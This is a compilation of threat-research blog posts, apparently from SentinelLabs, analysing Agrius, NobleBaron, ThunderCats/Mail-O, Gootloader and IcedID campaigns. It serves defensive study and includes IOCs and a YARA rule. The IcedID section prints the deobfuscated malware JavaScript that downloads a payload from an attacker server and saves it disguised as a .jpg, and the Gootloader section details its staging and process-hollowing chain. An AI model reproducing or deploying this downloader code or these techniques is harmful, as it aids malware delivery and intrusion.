Agrius has deployed two different wipers. The first, dubbed ‘Apostle’, appears to be written by the same developer as ‘IPsec Helper’. Both are written in .NET, share functions, and execute tasks in a similar manner. Interestingly, Apostle was later modified into functioning ransomware. The second wiper, DEADWOOD, was previously involved in a wiping attack in the Middle East  and tentatively attributed to Iran.


Throughout our analysis of Agrius techniques, tools, and infrastructure, we found no solid links to any known threat groups. While it is hard to provide a definitive attribution for Agrius, a set of indications pointing the activity towards an Iranian nexus came up throughout the investigation:

  1. Correlation with Iranian interests and past actions
    While this is not a strong link, it is worth noting when correlated with other, technical links. Iranian threat actors have a long history of deploying wipers, dating back to 2012, when Iranian hackers deployed the notorious Shamoon malware against Saudi Aramco. Since then, Iranian threat actors have been caught deploying wiper malware in correlation with the regime’s interests on several occasions.
  2. Webshells VirusTotal submissions
    Some of the webshells deployed by Agrius throughout its intrusions were modified versions of ASPXSpy, deploying additional obfuscation and changing variable names. Three of the variants of this webshell were uploaded from Iran, the rest from other countries within the Middle East region.
    While VirusTotal submissions are not an exact form of determining where a sample was deployed, the sources reinforce a Middle East regional focus.
    Modified Agrius webshells uploaded from Iran (source: VirusTotal)
  3. Infrastructure links to Iran
    The threat actor often used public VPN providers, such as ProtonVPN. On instances where the access was performed from non-VPN nodes, it originated from servers that have also resolved to Iranian domains in the past.
    Agrius infrastructure resolving to Iranian domains (source: PassiveTotal)
  4. The usage of the DEADWOOD wiper
    Agrius utilized the DEADWOOD wiper, which was previously attributed to an Iranian-nexus actor. We cannot independently corroborate previous clustering claims. The ties between Agrius and the threat actor who originally deployed DEADWOOD remain unclear. It’s possible that the two groups have access to shared resources.


Agrius is a new threat group that we assess with medium confidence to be of Iranian origin, engaged in both espionage and disruptive activity. The group leverages its own custom toolset, as well as publicly available offensive security tools, to target a variety of organizations in the Middle East. In some cases, the group leveraged its access to deploy destructive wiper malware, and in others a custom ransomware. Considering this, we find it unlikely that Agrius is a financially motivated threat actor.

Our analysis of Agrius activity does not come in a vacuum. Early May 2021 saw another set of disruptive ransomware attacks attributed to Iran targeting Israel from the n3tw0rm ransomware group, a newly-identified threat actor with links to the 2020 Pay2Key attacks. The close proximity of the Agrius and n3tw0rm campaigns suggest they may be part of a larger, coordinated Iranian strategy. Leaks from Lab Dookhtegan and the Project Signal ransomware operation also support this claim.

While being disruptive and effective, ransomware activities provide deniability, allowing states to send a message without taking direct blame. Similar strategies have been used with devastating effect by other nation-state sponsored actors. The most prominent of those was NotPetya in 2017, a destructive malware targeting Ukraine masked as ransomware and attributed to Russian state-sponsored threat actors by Western intelligence agencies.

Read the Full Report

See the report for the full list of IOCs and further details on Agrius.

Read the Full Report

The post From Wiper to Ransomware | The Evolution of Agrius appeared first on SentinelLabs.

NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks

1 June 2021 at 17:14

Executive Summary

  • In late May, 2021, Microsoft and Volexity released public reports detailing recent Nobelium activity.
  • Nobelium is suspected to be the new face of APT29 (aka The Dukes). We track this activity under the name ‘NobleBaron’.
  • This campaign employs a convoluted multi-stage infection chain, five to six layers deep.
  • Most custom downloaders leverage Cobalt Strike Beacon in-memory as a mechanism to drop more elusive payloads on select victims.
  • This report focuses on NobleBaron’s ‘DLL_stageless’ downloaders (aka NativeZone)
  • SentinelLabs has discovered the use of one of these DLL_stageless downloaders as part of a poisoned update installer for electronic keys used by the Ukrainian government.
  • At this time, the means of distribution are unknown. It’s possible that these update archives are being used as part of a regionally-specific supply chain attack.
  • We uncovered additional unreported DLL_stageless downloaders.


After the extensive revelations of Russian state-sponsored cyberespionage activities over the past five years, teams like APT28 (aka FancyBear, STRONTIUM) and APT29 (aka CozyBear, The Dukes) have retooled and reorganized extensively to avoid easy tracking by Western governments and security vendors alike. The operations of ‘APT29’ no longer look anything like they did in the past half decade. At this point our preconceptions about these groups are doing more to cloud our judgment than they elucidate. Perhaps new naming conventions (like ‘NOBELIUM’ or ‘StellarParticle’) will help piece these new clusters of activity apart– all the while upsetting folks who would prefer a simpler threat landscape than the one our reality affords us.

We track this new activity under the name ‘NobleBaron’, building off of the excellent reporting by Microsoft and Volexity. We acknowledge the suspicion that this is a newer iteration of APT29 but share in the general trepidation to equate the two. While the aforementioned companies have done excellent work exposing the inner workings of this activity, we wanted to contribute additional variants we encountered in our follow-on research, including a curious particularly insidious packaging of the ‘NativeZone’ downloader as part of a poisoned installer for a Ukrainian cryptographic smartkey used in government operations.

A Convoluted Infection Chain

As noted by Microsoft, the actor appears to be experimenting with various multi-stage infection chains. Common variations include the method of delivering the ISO containers and a wide variety of custom downloaders enmeshed with Cobalt Strike Beacon. There’s a vague mention of an iOS zero-day being hosted on Nobelium fingerprinting servers but no mention as to whether this entails an iOS payload. That said, we also suspect no company is in a position to monitor iPhone endpoints for these payloads, Apple included.

While the Cobalt Strike Beacon payload is a disappointingly ubiquitous end for such a convoluted infection chain, it’s not in fact the end of that chain. Rather, it serves as an early scout that enables selective distribution of rarer payloads directly into memory where they’re less likely to be detected. A similar technique was employed by HackingTeam’s Remote Control System (RCS) where initial infections used their ‘Scout’ malware for initial recon and could then be selectively upgraded to the full ‘Elite’ payload. After years of burned iterations on custom toolkits, it seems NobleBaron has opted for maximizing return on investment by simply lowering their upfront investment.

Notable TTPs include the following:

  • An increasing depth in multi-layer droppers (a concept briefly described by Steve Miller and worth exploring further) particularly with regard to the inevitable CS Beacon payload.
  • The use of large size files to avoid detection by security solutions with hardcoded size limits for ‘efficiency’.
  • A fishing-with-dynamite approach to collecting initial access to victims with low-cost tooling. The SolarWinds supply chain attack is one such example of starting with a wide victim pool and whittling down to high-value targets.

A Curious Poisoned Installer

Compilation Timestamp
2021-05-18 10:21:20
First Submission
2021-05-18 13:26:14
Internal Name
File Description
ІІТ Бібліотека роботи з НКІ типу: "файлова система" (Ukrainian)

Most notably, one of these NativeZone downloaders is being used as part of a clever poisoned installer targeting Ukrainian government security applications. A zip file is used to package legitimate components alongside a malicious DLL (KM.Filesystem.dll). The malicious KM.Filesystem.dll was crafted to impersonate a legitimate component of the Ukrainian Institute of Technology’s cryptographic keys of the same name. It even mimics the same two exported functions as the original.

KM.Filesystem.dll exported functions

The package is not an ISO, but it follows a familiar formula. ‘ScanClientUpdate.zip’ relies on a triad of sorts. An LNK is used to kick off the malicious KM.FileSystem.dll component. In turn, KM.FileSystem.dll starts by checking for presence of KM.EkeyAlmaz1C.dll (a benign DLL). This check is presumably meant as an anti-sandbox technique that would keep this downloader from executing unless it’s in the same directory as the other packaged components.

ScanClientUpdate.zip contents

We stop short of referring to this as a supply chain attack since we lack visibility into its means of distribution. The poisoned installer may be delivered directly to relevant victims that rely on this regional solution. Alternatively, the attackers may have found a way of abusing an internal resource to distribute their malicious ‘update’.

LNK starter command to run the malicious DLL

The LNK starter invokes the KMGetInterface export to execute the malware’s functionality. It passes a benign Windows component as an argument (ComputerDefaults.exe). The attackers will use the file’s attributes later on.

Upon execution, the user is presented with a vague ‘Success’ message box.

Note that the heading of the message box is ‘ASKOD’, a reference to the Ukrainian electronic document management system. This initiative is meant to enforce electronic digital signatures through the use of cryptographic keys like the Алмаз-1К (transliterated as ‘Almaz-1K’ or translated to ‘Diamond-1K’) shown below.

Алмаз-1К electronic key description

These particular electronic keys are referenced in Ukrainian government tenders and make for a cunning regional-specific lure to distribute malware.

After displaying the message box, the malicious DLL proceeds to resolve APIs by hash and decrypts its payload directly into memory. You guessed it: Cobalt Strike Beacon v4.

It then decrypts the configuration via single-byte XOR 0x2E and attempts to establish contact with the command-and-control server doggroomingnews[.]com. It checks for ‘/storage/main.woff2’ and if necessary falls back to ‘/storage/page.woff2’. The domain resolves to an IP address in Ukraine (, which appears to be a compromised domain.

While we have not been able to fetch the response at this time, it’s worth noting that this same IP was also contacted by a Cobalt Strike Beacon sample in late 2020:

5a9c48f49ab8eaf487cf57d45bf755d2e332d60180b80f1f20297b16a61aa984 artifact.exe

These malicious updates are distributed in zip archives. At this time, we’ve discovered two ‘ScanClientUpdate.zip’ samples, both containing the same malicious DLL:


‘DLL_stageless’ (NativeZone) Variants

NobleBaron developers internally refer to these components under the name ‘DLL_stageless’

DLL_stageless PDB path

The following are variants of DLL_stageless with their respective delivery mechanisms and encrypted command-and-control configuration.

Compilation Timestamp
2021-03-15 18:32:47
First Submission
2021-04-01 14:06:27
ITW Name
Malicious Export
Compilation Timestamp
2021-03-22 08:51:41
First Submission
2021-03-22 20:39:52
ITW Name
Malicious Export
Compilation Timestamp
2021-02-17 13:18:24
First Submission
2021-02-25 16:33:09
ITW Name
Malicious Export

Analyzing GraphicalComponent.dll led to the discovery of another DLL_stageless sample. At this time, we have not discovered the delivery mechanism. The name suggests the possibility of a different poisoned installer, with a focus on the Java SRE runtime.

Compilation Timestamp
2020-10-02 07:51:09
First Submission
2020-12-16 14:48:01
ITW Name
Malicious Export

The malicious functionality of this sample is launched via the exported function CheckUpdteFrameJavaCurrentVersion. This particular instance of DLL_stageless doesn’t check for a nearby file or specific directory.



The post NobleBaron | New Poisoned Installers Could Be Used In Supply Chain Attacks appeared first on SentinelLabs.

ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op

8 June 2021 at 16:00

Key Findings

  • This research focuses on the ‘Mail-O’ malware used against the FSB and other Russian government organizations, detailed in the May 2021 FSB NKTsKI and Rostelecom-Solar report.
  • Early armchair commentary presumed that given the targets, this attack would undoubtedly be the work of a Western government, Five Eyes, or the United States.
  • Our analysis disproves that hypothesis.
  • Instead, we present the argument that the Mail-O malware is a variant of a relatively well-known malware called PhantomNet or SManager used by a threat actor ‘TA428’
  • Previous reporting on TA428 points to Chinese origin and details a history of attacks against South East Asian and Russian targets.

Actor Disambiguation

Related actors: TA428, suspected IronHusky
Related operations: Operation SignSight, Operation LagTimeIT
Related malware: PhantomNet, SManager, TManger, CoughingDown

In May 2021, the Russian Federal Security Service’s National Coordination Center for Computer Incidents (NKTsKI) in coordination with Rostelecom announced that several Russian government institutions had been victims of an APT campaign. While the Russian government has made a similar announcement before, it’s the first time they’ve accompanied it with a moderately detailed technical analysis. Several researchers, myself included, jumped on the opportunity to write our YARA rules and hope for a glimpse at the culprit.

The InfoSec twitterverse needed no such artifacts as blind speculation immediately pointed at a Western government, Five Eyes, or the United States as de facto culprits. I think we’ll be relieved to find out that was most likely not the case – if solely because we’ve come to expect a higher standard for Western malware development.

Initial attempts to find the samples were fruitless but that changed this past weekend as some kind soul (or more likely a bulk autosubmitter) uploaded a copy of the ‘Mail-O’ malware to VirusTotal. We track this activity under the name ‘ThunderCats’.

Technical Analysis

2.82 MB
Compilation Timestamp
2019-12-20 02:13:01
First Submitted
2021-06-05 05:22:04

In line with the findings of the NKTsKI-Rostelecom report, the Mail-O malware acts as a downloader with a thin veneer of similarity to the legitimate Mail.ru Disk-O software. The disguise consists of a version number (“19.05.0045”) lifted from a legitimate Disk-O executable and the use of a real Mail.ru to post victim details and host a next stage payload.

The executable is bulked up to 2.8MB by statically linking both libcurl 7.64.1 and OpenSSL. Focus becomes important to avoid going down a pointless rabbithole of reversing unrelated open-source code. For that reason, we should focus primarily on the exported functions.

The Mail-O malware exports two functions, Entery and ServiceMain:

Mail-O malware’s exported functions

Mail-O: ServiceMain

ServiceMain function pseudocode

ServiceMain takes a service name as an argument and attempts to register a service control handler with a specific HandlerProc function meant to check and set the status of that service. With a valid service status handle, Mail-O detaches the calling process from its console, changes the service status values to reflect its current running state, and calls the Entery function. Note the ServiceMain function with the debug string “ServiceMain Load” – a template that comes into play in looking for connections to other malware.

Mail-O: Entery

The Entery function is called at the end of ServiceMain, but it can also be independently invoked. It checks for the presence of ‘%AllUsersProfile%\PSEXESVC.EXE’ and launches it as a process. This function is registered as a top level exception filter.

Mail-O PSEXESVC.exe check function

The main Entery logic is orchestrated in the next function. First, Mail-O checks the registry for an existing install of the legitimate Mail.Ru Disk-O software. It decrypts configuration strings and contacts https://dispatcher.cloud.mail.ru/.

Mail-O uses the SystemTime to POST the encrypted victim hostname (or in its absence the string “[none]”) and receive a payload. The payload is written to a temporary path before being launched. Mail-O then goes into a sleep loop until a predetermined amount of time.

We’ve yet to see ‘Webdav-O’, the other malware component described in the Rostelecom-Solar report. However, that shouldn’t keep us from following an interesting lead.

The ‘Entery’ Connection

Left: TManger sample (NTT Security)

Right: Mail-O sample:

Mail-O exports a function called Entery, presumably a misspelling of ‘Entry’. Misspellings are a true gift for malware researchers. As it turns out, this isn’t the first time that misspelling has been noted in a recently deployed piece of malware.

In December 2020, Ignacio Sanmillan and Matthieu Faou released an excellent report on a Vietnamese supply-chain attack that used PhantomNet (aka SManager) malware. The researchers noted that the malware’s persistence was established via a scheduled task that called the malicious DLL’s export, ‘Entery’. The researchers note that this same export was pointed out by NTT Security in their analysis of TManger malware, which they in turn correlate with Proofpoint’s ‘TA428’ threat actor. That nondescript threat actor name is adopted by Dr. Web in reporting recent attacks against additional Russian targets including research institutes.

While that might all seem a bit convoluted, I rehearse the logical connections to illustrate two points:

  1. There’s an established history of this very non-Western ‘threat actor’ in targeting both Asian and Russian targets.
  2. These presumably Chinese clusters of activity are confusing and difficult to disentangle. Tooling is likely shared among multiple threat actors (likely including PhantomNet/SManager), and what’s being referred to as ‘TA428’ is probably an amalgam of multiple threat groups.

For skeptics, we’ve provided a YARA rule below for the Entery overlap, which entails not just the export function name but also the general layout of the function and some shared strings. Note that the layout has likely developed iteratively from an open-source template.

Finally, while I’m quick to disparage the quality of the malware as not up to some exalted Western standard, it’s important to note that ThunderCats (and the larger TA428 umbrella) are pulling off custom-tailored region-specific supply chain attacks, successfully punching way above their weight in their intelligence collection efforts, and they should not be underestimated as an adversary.


import "pe"

rule apt_CN_ThunderCats_Overlap
        desc = "Thundercats Entery Export Overlap"
        author = "JAG-S @ SentinelLabs"
        version = "1.0"
        last_modified = "06.08.2021"
        reference = "https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf"

		$psexesvc = "%AllUsersProfile%\\PSEXESVC.EXE" ascii wide
		$sm_load = "ServiceMain Load" ascii wide fullword
		uint16(0) == 0x5a4d
		all of them



The post ThunderCats Hack the FSB | Your Taxes Didn’t Pay For This Op appeared first on SentinelLabs.

Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets

16 June 2021 at 16:44

The ongoing Gootloader campaign expands its scope to highly sensitive assets worldwide including financial, military, automotive, pharmaceutical and energy sectors, operating on an Initial Access as a Service model.

Executive Summary

  • Since the beginning of Jan 2021 an active Gootloader campaign has been observed in the wild expanding its scope of interest to a wider set of enterprise verticals worldwide.
  • Analysis of over 900 unique droppers reveals that the campaign targets diverse enterprise and government verticals including military, financial, chemistry, banks, automotive, investment companies and energy stakeholders, primarily in the US, Canada, Germany, and South Korea.
  • Around 700 high-traffic compromised websites were used as a delivery network.
  • The campaign uses tailored filenames to lure targets in a typical form of social engineering.
  • This campaign has a low static detection rate alongside robust sandbox evasion techniques and ‘fileless’ stages.
  • Considering the wide distribution of the campaign and the heterogeneity of its deployed arsenal, we assess that Gootloader acts as an ‘Initial Access As a Service’ provider, after which a variety of tools may be deployed.


We have been tracking an active Gootloader campaign aimed at enterprise and government targets worldwide. The primary industries of interest appear to be U.S. military, governmental, and financial entities, trading, mining, green energy, game industries and automotive companies, as well as their suppliers and service providers.

First spotted in 2014, Gootkit was born as a banking trojan. It has since evolved to become more of an infostealer, operated by what appears to be a cluster of actors. The name ‘Gootkit’ is often used interchangeably to refer to both the malware and the group, but that’s admittedly loose. In March 2021, Sophos were the first to identify the multi-payload delivery platform and call it “Gootloader”.

Early activity of Gootloader campaigns was first spotted by security researcher @ffforward in late 2020 and later published by ASEC, malwarebytes, and TrendMicro. Pivoting on those findings, we were able to gather a sizable amount of malicious artifacts related to the same Gootloader campaign. We collected about 900 JavaScript (js) droppers from a period of four months (1 Jan 2021 – 25 April 2021) by leveraging this Gootloader_JavaScript_infector YARA Rule. Our aim is to deepen our understanding of the Gootloader service platform and the selective nature of this campaign: topics that haven’t been investigated at scale.

The campaign uses customized filenames to lure targets through SEO poisoning, with the name of the js loader playing an active part of the social engineering process. For this reason, we deemed that in this campaign the filenames provided a strong indication of the contents victims were interested in searching for and, by extension, the scope of the intended targets.

The detection rate of these artifacts on by VirusTotal engines is very low and ranges from 1 to 7:

Low detection on VirusTotal

Moreover, considering that the subsequent stages are downloaded and executed in-memory, this ‘fileless’ mechanism is very effective at evading standard sandboxes.

The Stealthy JS Loader

The core component of Gootloader is a small js loader (2.8 KB) that acts as the first-stage of the infection chain. It’s not new, and the same artifact is used in other Gootkit campaigns. The loader is composed of three highly obfuscated layers that contain encoded URLs. These form part of a network of compromised websites used to deliver the final payload, typically one of the malware families listed below:

  • BlueCrab (mostly targeting Korean Users)
  • Cobalt Strike Beacons
  • Gootkit
  • Kronos
  • Revil

We see Gootloader as a cluster of activity representing an ‘Initial Access as a Service’ business model, allowing it to distribute malware for different cybercrime groups for affiliate fees. All of the above payloads are known ‘MaaS’ (Malware-as-a-Service) families that thrive on affiliate distribution models. Seeing that in some cases the payload distributed is Cobalt Strike, we cannot exclude that the Gootloader operators are conducting their own reconnaissance or credential harvesting for further gain.

Analyzing the JavaScript components was made drastically easier with the use of HP’s Gootloader decoder to automate the deobfuscation and extraction of embedded URLs and content.

The beautified version of the js loader’s first layer reveals the malicious logic:

js loader 1st layer

Once deobfuscated, we obtain the 2nd layer:

js loader 2nd layer

And finally the cleartext (and beautified) version:

js loader decoded

From the decoded script we can now see how Gootloader performs some target filtering to ensure that the victim is a part of an Active Directory domain via expanding the "%USERDNSDOMAIN%"  environment variable.

Checking to see if the user is an AD domain

If the check returns true, then it appends an id (278146 in the above example) at the end of the query string and requests the next stage from one of the websites contained in the ‘K’ array.

Gootloader Delivery Platform

In this section, we examine how the Gootloader delivery network works, starting with the distribution of the js loader using a social engineering lure all the way to the final payload.

The delivery network is composed of two levels. The first level consists of compromised well-ranked websites indexed by Google and hijacked by threat actors to host a js redirector.

Hijacked websites host a js redirector

At the time of writing, we estimate there are around 700 different compromised websites worldwide.
The script embedded on these compromised websites is responsible for performing the following checks via HTTP headers before delivering the js loader to the target:

  • referral: check that the request comes specifically from a Google search
  • first time condition: check that the host/machine has not previously visited the site
  • timezone: check the timezone based on the requester IP

The timezone check is particularly interesting: in our analysis, the Gootloader platform apparently ‘geofences’ its intended targets by only deliverering malware if the victim comes from specific countries: the US, Canada, Germany, and South Korea.

If any of the above conditions is not met, then the redirector builds a dummy page without a malicious component for the user, such as the following:

Dummy page for uninteresting visitors

Otherwise, the embedded script automatically builds and displays a fake forum page containing a thread relevant to the user’s search content, along with the link to the js loader:

Fake forum page for interesting targets

The compromised websites use old and vulnerable CMS versions that have been exploited to insert the malicious script.

During our analysis, we were able to extract the exploited domains used as a second-level delivery network for this campaign (the list is not exhaustive):


The malicious link embedded into the fake page points to a .php resource. In turn, that component is responsible for delivering the malicious loader to victims by pulling a zip archive containing the js loader with the same name from the second level delivery network.


The above URL reminds us of a typical webshell schema through which it’s possible to track campaigns and victims. Moreover, subsequent attempts to download the same file using the same URL from the same machine will fail. Each download attempt automatically generates a new URL. In fact, three different attempts from different IPs generate the following unique URLs:

Different IPs generate unique URLs

This substantiates the notion of a fully-automated assembly line process for malicious bundles.

Once the malicious js loader is delivered to the victim and executed through the wscript.exe process, it performs another request to one of the embedded domains belonging to the same 2nd level delivery network.

In the request, the loader passes a random-looking parameter (“?wmsyxqsucnsif=”) to the search.php component, assigning a value to it. The assigned value consists of a randomly generated numeric value followed by an ID that signals that the user is part of a domain.

The “?wmsyxqsucnsif=” query parameter changes for each analyzed dropper. By extracting a few of them, we noticed differences in length:

 	Iywoiqoagiqj 		Length: 12
	Ulxoflokgzjuj 		Length: 13
 	Xksrabkxexxje 		Length: 13
 	Ulxoflokgzjuj 		Length: 13
 	Frzlewezxuqra 		Length: 13
 	Wehzijrczmewt 		Length: 13
 	Fzwuidcgfwpid 		Length: 13
 	Xrplomnpnofoc 		Length: 13
 	Jrnfrcbxrmwnr 		Length: 13
 	Zlurylnryiaupe 		Length: 14
 	Bhqtjmvrrnpttw 		Length: 14
 	Hmdfwcokgjutia 		Length: 14
 	Btvhenvucpmtvpta 	Length: 16
 	Vzhnbqsvkxxndgem 	Length: 16
 	Mnxcmedoofhmjhob 	Length: 16
 	Olwakhzcqflqrbln 	Length: 16
 	Ecteaaaqztxoqblrar 	Length: 18

We were able to populate at least five different clusters based on assigned lengths: 12, 13, 14, 16 and 18. A randomly generated, unique string is assigned to each loader. The query parameter, at this stage, may be used for download tracking or other purposes.

Delivery of the Final Payload

If the js loader succeeds in contacting the C2, then it retrieves an encoded PowerShell stager that in turn downloads the next payload and writes it to the registry as a list of keys. The js loader then deploys additional PowerShell responsible for loading and decoding the content hidden in the registry.

Base64 obfuscated PowerShell
Decoded PowerShell content
The additional PowerShell is responsible for extracting the payload from the registry, converting it from ascii into bytes through the chba() function then loading and executing it by reflection.
At this point, the code spawns the ImagingDevices.exe process and injects itself into it via process hollowing. As noted above, the injected payload varies between Cobalt Strike Beacons and various well-konwn malware families such as REvil and Kronos.
PowerShell execution chain

Analysis of the network communication allowed us to spot different network clusters revolving around the following IPs:

  • 23.106.122[.]245
  • 78.128.113[.]14
Network clusters

These two Cobalt Strike Team Servers now appear to serve Gootloader exclusively, however, there appears to be some infrastructure overlap on 78.128.113[.14]. This particular host has been observed as part of multiple Cobalt Strike-centric campaigns over the last several years. It is not possible to conclusively say that the same “actor” or “group” has been operating that infrastructure throughout the history of its misuse. That said, it is important to note that while campaigns have varied, this host has constantly been utilized to stage and serve CS Beacons and additional payloads, up to and including this ongoing Gootloader campaign. It is reasonable to assume given such history that the host is at least partially under control of an affiliate group.


As evidenced by artifacts in the code, this ongoing Gootloader campaign is selective and targets users from enterprise environments. Extrapolating from the variety of languages used in various components of the campaign, we can surmise that the operators favored targets in Korean, German and English-speaking environments.

File names in different languages

The names of lures embedded into Gootloader samples also offer additional insights into the nature of the desired targets. For example, the artifact ‘besa_national_agreement_2021.js’ (SHA1: b0251c0b26c6541dd1d6d2cb511c4f500e2606ce) could suggest targets interested in components supplied by an Italian manufacturing company that produces security valves. Categorizing the loaders by their names, we can surmise targeted verticals:

Targeted industries

Interestingly, Korean loaders follow a different naming convention to that used for other languages. Rather than using company names or specific entities, they use a more generic naming scheme. This could indicate the presence of region-specific Gootloader operators with their own TTPs. It’s notable that despite not expressly targeting specific entities, these infections continue to check for users that are part of corporate domains.

유튜브_영상(egj).js 		YouTube_Video(egj).js
휴먼명조_폰트(fm).js (		Human Myeongjo_Font(fm).js
살육의_천사_게임(lep).js 		Slaughter_angel_game(lep).js
바코드생성프로그램(bo).js 		Barcode generation program (bo).js
웨스트월드_시즌2_2화(jbk).js 	West World_Season 2 Episode 2(jbk).js
스팀_게임_무료(wdb).js 		Steam_Game_Free(wdb).js


We analyzed an ongoing Gootloader campaign attempting to lure professionals and enterprise employees worldwide. The selective nature of this campaign, the option to deliver multiple payloads, as well as the utilization of Cobalt Strike leads us to believe that Gootloader is an ‘Initial Access as a Service’ provider primarily for ransomware operators.

This malicious operation is still active at the time of writing and we continue to expect future campaigns seeking additional targets and verticals. For that reason, we continue to actively monitor Gootloader as a means of distribution for the next strand of widespread ransomware.

IoCs Gootloader Q1 2021


Js loader + powershell stage:
Initial Access (TA0001):

  • T1566 Phishing
  • T1566.002 Spear Phishing Link
  • T0817 Drive-by Compromise

Execution (TA0002):

  • T1059.007 Command and Scripting Interpreter: JavaScript
  • T1059.001 Command and Scripting Interpreter: Powershell
  • T1204.002 User Execution: Malicious File

Persistence (TA0003):

  • T1547.001 Boot or Logon Autostart Execution

Defence Evasion(TA0005):

  •  T1027 Obfuscated Files or Information

Privilege Escalation(TA0004):

  • T1055.012 Process Injection: Process Hollowing

URLs (Delivery Network):

  • www[.]hagdahls[.]com/search[.]php? |  /about[.]php?
  • www[.]hoteladler[.]it/search[.]php? |  /about[.]php?
  • www[.]handekazanova[.]com/search[.]php? |  /about[.]php?
  • www[.]hccpa[.]com[.]tw/search[.]php? |  /about[.]php?
  • www[.]hrgenius-uk[.]com/search[.]php? |  /about[.]php?
  • www[.]joseph-koenig-gymnasium[.]de/search[.]php? |  /about[.]php?
  • www[.]kartatatrzanska[.]pl/search[.]php? |  /about[.]php?
  • www[.]edmondoberselli[.]net/search[.]php? |  /about[.]php?
  • www[.]cwa1037[.]org/search[.]php? |  /about[.]php?
  • www[.]ehiac[.]com/search[.]php? |  /about[.]php?
  • www[.]cljphotographyny[.]com/search[.]php? |  /about[.]php?
  • www[.]charismatrade[.]ro/search[.]php? |  /about[.]php?
  • www[.]commitment[.]co[.]at/search[.]php? |  /about[.]php?
  • www[.]giuseppedeluigi[.]com/search[.]php? |  /about[.]php?
  • www[.]esist[.]org/search[.]php? |  /about[.]php?
  • www[.]dischner-kartsport[.]de/search[.]php? |  /about[.]php?
  • www[.]espai30lasagrera[.]cat/search[.]php? |  /about[.]php?
  • www[.]kettlebellgie[.]be/search[.]php? |  /about[.]php?
  • www[.]forumeuropeendebioethique[.]eu/search[.]php? |  /about[.]php?
  • www[.]frerecapucinbenin[.]org/search[.]php? |  /about[.]php?
  • www[.]formenbau-jaeger[.]de/search[.]php? |  /about[.]php?
  • www[.]fabiancoutoxp[.]com[.]ar/search[.]php? |  /about[.]php?

Cobalt C2

  • 78.128.113[.]14
  • 23.106.122[.]245

Network Communication

  • https://78.128.113[.]14/j.ad
  • https://78.128.113[.]14/ca
  • https://78.128.113[.]14/updates.rss
  • https://78.128.113[.]14/load
  • https://78.128.113[.]14/pixel.gif
  • https://23.106.122[.]245/pixel.gif
  • https://23.106.122[.]245/fwlink


https://github.com/sophoslabs/IoCs/blob/master/Troj-gootloader.yaraSHA1s and Lures

Over 900 SHA1 hashes identified as part of the Gootloader Q1 2021 campaign along with some of the most relevant lures and embedded URLs used for the delivery of the payloads:


The post Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets appeared first on SentinelLabs.

Evasive Maneuvers | Massive IcedID Campaign Aims For Stealth with Benign Macros

24 June 2021 at 17:00

Executive Summary

  • SentinelLabs has uncovered a recent IcedID campaign and analyzed nearly 500 artifacts associated with the attacks.
  • IcedID Office macro documents use multiple techniques in an attempt to bypass detection.
  • To further obfuscate the attack, data embedded in the document itself is used by the malicious macro. Analyzing only the macro provides an incomplete view of the attack.
  • The HTA dropper embedded in the document is obfuscated JavaScript, which executes in memory and utilizes additional techniques to evade AV/EDR.


Many security researchers thought that IcedID would be the successor to Emotet after the coordinated takedown of Emotet malware in early 2021 by law enforcement agencies. IcedID (aka BokBot) was designed as a banking trojan targeting victims’ financial information and acting as a dropper for other malware. Initially discovered in 2017, IcedID has become a prominent component in financially-driven cybercrime. The malware is primarily spread via phishing emails typically containing Office file attachments. The files are embedded with malicious macros that launch the infection routine, which retrieves and runs the payload.

In May 2021, SentinelLabs observed a new campaign delivering IcedID through widespread phishing emails laced with poisoned MS Word attachments that use a simple but effective technique to avoid suspicion. This ongoing IcedID campaign attempts to gain a foothold on the victim’s machine through a crafted Word doc in which the embedded macro itself does not contain any malicious code.

Just like a genuine macro, the IcedID macro operates on the content of the document itself. In this case, that content includes obfuscated JavaScript code. This simple technique helps to evade many automated static and dynamic analysis engines since the content’s malicious behavior is dependent upon execution through an MS Office engine.

The obfuscated JavaScript is responsible for dropping a Microsoft HTML Application (HTA) file to C:\Users\Public. The macro then employs Internet Explorer’s mshta.exe utility to execute the HTA file. This second stage execution reaches out to the attacker’s C2 and downloads a DLL file with a .jpg extension to the same Public folder. The HTA file calls rundll32 to execute this payload, which serves to collect and exfiltrate user data to the attacker’s C2.

Below we present further technical details of this recent campaign from examination of almost 500 artifacts.

Technical Analysis

The IcedID phishing email contains what looks like an innocuous enough Word attachment. As expected with these kinds of malware operations, opening the document prompts the user to enable editing and then ‘Enable content’.

Targets are prompted to enable macros when opening the maldoc

What is unexpected is that the macro itself is uninteresting.

The VBA macros contained in the document

In this case, the malicious code is found within the document itself, reversed JavaScript that is then base64 encoded.

Obfuscated code in the document.xml

The MS Word macro writes this code out as an HTA file to C:\Users\Public\. While this ensures success in terms of user permissions, arguably this is an operational mistake from the attacker’s side in the sense that this folder is a location generally monitored by security products.

The HTA code is executed by the macro using the GetObject() and Navigate() functions. This behavior is a “VB Legacy” technique that conforms to how older Office macro files behave.

Part of the VBA code embodied in the Word Document

Once the HTA code is running, it deobfuscates the JavaScript code in-memory and utilizes two additional techniques in an attempt to evade AV/EDR security controls:

  • The HTA file contains msscriptcontrol.scriptcontrol COM component, which is used to execute interactively with JavaScript.
  • The code calls JavaScript functions from VBScript code within the HTA. This technique also confuses different code and activity tracking engines within certain endpoint security products.
HTA file dropped in the Public folder

Below is the deobfuscated and ‘beautified’ version of the code from the HTA file.

var memoryVb = new ActiveXObject("msxml2.xmlhttp");
memoryVb.open("GET", "hxxp[:]//awkwardmanagement2013z[.]com/adda/hMbq4kHp63r/qv2KrtCyxsQZG2qnnjAyyS2THO0dNJcShIQ/mF4QLSMm/daIPccWw5X/Hpoop0jx2JCAW2rMXVnPrPu/JoSE6bOyTrt/lun6?sid=Kbgn&cid=yvlBl2mDXC7d6A6q&gRqB5BwPw=3P3WdrE&user=Ma", false);
if (memoryVb.status == 200) {

	try {
		var rightClass = new ActiveXObject("adodb.stream");
		rightClass.type = 1;
		rightClass.savetofile("c:\\users\\public\\sizeTempStruct.jpg", 2);
	} catch (e) {}

The code initializes an MSXML2.XMLHTTP request and specifies the method, URL, and authentication information for the request. If the URL responds with a status code of 200, the code proceeds by downloading the remote file with a “.jpg” file extension. Unsurprisingly, the file is not what it pretends to be.

